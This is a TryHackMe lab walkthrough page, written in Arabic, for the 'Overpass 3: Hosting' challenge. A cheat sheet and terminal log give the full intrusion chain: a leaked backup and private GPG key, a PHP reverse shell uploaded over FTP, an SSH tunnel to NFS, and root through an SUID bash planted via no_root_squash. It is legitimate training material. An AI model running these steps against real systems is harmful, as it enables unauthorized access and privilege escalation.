Lab: Overpass 3 | STY IT Labs
STY IT Labs · TryHackMe · Advanced Pentest

Lab: Overpass 3: Hosting
Backup Leak → GPG → FTP Shell → NFS no_root_squash

طلاب Overpass بقوا شركة Hosting، وسيرفرهم “ضعيف جداً” فعلاً. نسخة احتياطية منسية بتسرّب مفتاح PGP خاص، تفك بيه جدول اعتماديات مشفّر، ترفع شل عبر FTP، وتصعّد صلاحيات لـ root عن طريق ثغرة كلاسيكية في إعدادات NFS اسمها no_root_squash.

Hard Difficulty CentOS + Apache PGP Decryption FTP Upload Shell NFS no_root_squash
GPG FTP NFS ROOT BACKUP LEAK CHAIN OVERPASS 3
Hard
75 دقيقة
3 Flags
apache · paradox · james
TryHackMe
CentOS

عن اللاب

“Overpass Hosting”
Apache 2.4.37 (CentOS)
+ vsftpd 3.0.3 + OpenSSH 8.0
/backups/backup.zip
priv.key + CustomerDetails.xlsx.gpg
مفتاح PGP + اعتماديات مشفّرة
/home/james
NFS Export (no_root_squash)
نقطة التصعيد النهائية

Overpass 3: Hosting سلسلة اختراق كاملة تبدأ من نسخة احتياطية منسية جوه /backups/ فيها مفتاح PGP خاص وملف Excel مشفّر. بعد فك التشفير، كلمة سر واحدة بس شغالة — على FTP مش SSH — وFTP root بيطابق الـ web root، يعني رفع شل PHP بسيط بيديك تنفيذ كود مباشر.

الخطوة الأصعب هي الوصول لـ NFS على بورت 2049 — مش متاح مباشرة، فلازم SSH Local Port Forward عشان توصله، وبعدين تستغل no_root_squash للتصعيد لـ root.

Overpass 3 Badge

من نسخة احتياطية منسية لحد Root عبر استغلال NFS no_root_squash

مسار الهجوم — من Backup Leak لحد Root

1

فحص الخدمات + اكتشاف /backups/

Nmap يكشف FTP (vsftpd 3.0.3)، SSH (OpenSSH 8.0)، وApache. Gobuster بـ dirb/common.txt يكتشف مجلد /backups/ فيه ملف backup.zip.

nmap -sC -sV -p-gobuster dir → /backups/
2

فك تشفير backup.zip بـ GPG

الملف المضغوط فيه priv.key (مفتاح PGP خاص لحساب paradox) وCustomerDetails.xlsx.gpg. استيراد المفتاح وفك تشفير الملف يكشف جدول كلمات سر.

gpg –import priv.keygpg -d CustomerDetails.xlsx.gpg
3

دخول FTP + رفع Shell

كلمة سر paradox مش شغالة على SSH — بس شغالة على FTP. الـ FTP root بيطابق الـ web root تماماً، وبما إن backups/ قابل للكتابة، رفع PHP reverse shell مباشرة.

ftp paradox@targetput reverse-shell.php
4

تنفيذ الشل + ترقية الصلاحيات لـ paradox

طلب الصفحة المرفوعة من المتصفح يعطي شل بصلاحيات apache. ترقية الـ TTY، وبما إن كلمة سر paradox معروفة من الإكسل، su paradox بينجح مباشرة.

nc -lvnp 1234su paradox
5

LinPEAS + اكتشاف NFS Export

LinPEAS بيكشف /home/james مُصدّر عبر NFS بإعداد no_root_squash — خطر أمني كلاسيكي. بورت 2049 مش وصول مباشر، فلازم Tunneling.

linpeas.shno_root_squash export found
6

SSH Port Forward + Mount NFS

إضافة مفتاح SSH عام لحساب paradox، فتح نفق محلي لبورت 2049، ثم mount للشير — يكشف user.flag ومفتاح SSH خاص لجيمس.

ssh -L 2049:localhost:2049mount -t nfs localhost:/ /mnt/jamesNFS
7

استغلال no_root_squash → Root 🏆

بما إن root على جهازك بيتعامل كـ root على الشير، تنسخ /bin/bash للشير وتعمله SUID وإنت root محلياً. دخول SSH بحساب جيمس وتشغيل bash -p يديك شل root فوري.

chmod +s bash (as local root)./bash -pRoot Flag 🏆

مراحل اللاب

Backup Discovery
GPG Decrypt
FTP Shell
User Pivot
NFS Pivot
no_root_squash 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
gobuster dir -u http://target -w dirb/common.txt -x php,txt,js,css,htmlاكتشاف مجلد /backups/Enum
gpg –import priv.keyاستيراد مفتاح PGP الخاص بـ paradoxGPG
gpg -d CustomerDetails.xlsx.gpg > creds.xlsxفك تشفير جدول الاعتمادياتGPG
ftp paradox@target + put reverse-shell.phpرفع شل PHP عبر FTP لنفس الـ web rootUpload
su paradoxالانتقال لحساب paradox بنفس كلمة سر FTPPivot
ssh -i ~/.ssh/id_rsa paradox@target -L 2049:localhost:2049فتح نفق للوصول لـ NFS المعزولTunnel
mount -t nfs localhost:/ /mnt/jamesNFS/تحميل شير NFS اللي فيه مفتاح جيمسMount
cp /bin/bash /mnt/jamesNFS/ && chmod +s /mnt/jamesNFS/bashاستغلال no_root_squash لزرع SUID bashPrivEsc

المهام والأسئلة

Task 1 — فحص الخدمات واكتشاف Backup

اكتشاف /backups/backup.zip عبر Gobuster

Recon

Task 2 — فك تشفير النسخة الاحتياطية

GPG decrypt + Web Flag

Web ✓
03

Task 3 — دخول FTP ورفع Shell

رفع PHP reverse shell وتنفيذه

Shell
04

Task 4 — LinPEAS + اكتشاف NFS

إيجاد إعداد no_root_squash الخطير

Enum
05

Task 5 — SSH Tunnel + Mount NFS

الوصول للشير وسرقة مفتاح جيمس + User Flag

User ✓
06

Task 6 — استغلال no_root_squash → Root 🏆

زرع SUID bash عبر الشير وتشغيله بصلاحيات root

Root 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من Backup Leak لحد Root

root@kali — Overpass 3: Hosting
# Phase 1 — Backup Discovery + GPG
└─# gobuster dir -u http://target -w dirb/common.txt -x php,txt,js,css,html
/backups/ (Status: 200)
└─# wget http://target/backups/backup.zip && unzip backup.zip
└─# gpg –import priv.key
[+] key imported: Paradox <paradox@overpass.thm>
└─# gpg -d CustomerDetails.xlsx.gpg > creds.xlsx
[+] paradox:**********

# Phase 2 — FTP Shell Upload
└─# ftp paradox@target
ftp> put php-reverse-shell.php backups/reverse-shell.php
└─# nc -lvnp 1234
[+] Shell received as apache (uid 48)

# Phase 3 — Pivot + NFS Discovery
apache@localhost:/var/www/html$ su paradox
paradox@localhost:~$ ./linpeas.sh | grep -i nfs
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)

# Phase 4 — SSH Tunnel + Root via NFS
└─# ssh -i ~/.ssh/id_rsa paradox@target -L 2049:localhost:2049
└─# mount -t nfs localhost:/ /mnt/jamesNFS/
[+] Found james’s id_rsa + user.flag
└─# cp /bin/bash /mnt/jamesNFS/ && chmod +s /mnt/jamesNFS/bash
└─# ssh -i james_idrsa james@target
james@localhost:~$ ./bash -p
[+] bash-5.1# whoami → root 🏆

└─#

المهارات المكتسبة

Backup File Discovery
PGP/GPG Decryption
FTP File Upload Abuse
PHP Reverse Shells
LinPEAS Enumeration
SSH Local Port Forwarding
NFS Mounting
no_root_squash Exploitation

الأدوات المستخدمة

Gobusterاكتشاف مجلد /backups/ المنسي
GPGاستيراد مفتاح خاص وفك تشفير ملف Excel
PHP Reverse Shell + netcatالحصول على أول شل عبر FTP upload
LinPEASاكتشاف إعداد NFS الخطير
SSH (-L) + mountالوصول لـ NFS المعزول واستغلال no_root_squash
no_root_squash معناه إن المستخدم root على جهازك بيفضل root لما يلمس الشير — ده بيخليك تزرع أي ملف SUID عايزه وتشغله بصلاحيات كاملة من غير أي ثغرة تقنية حقيقية.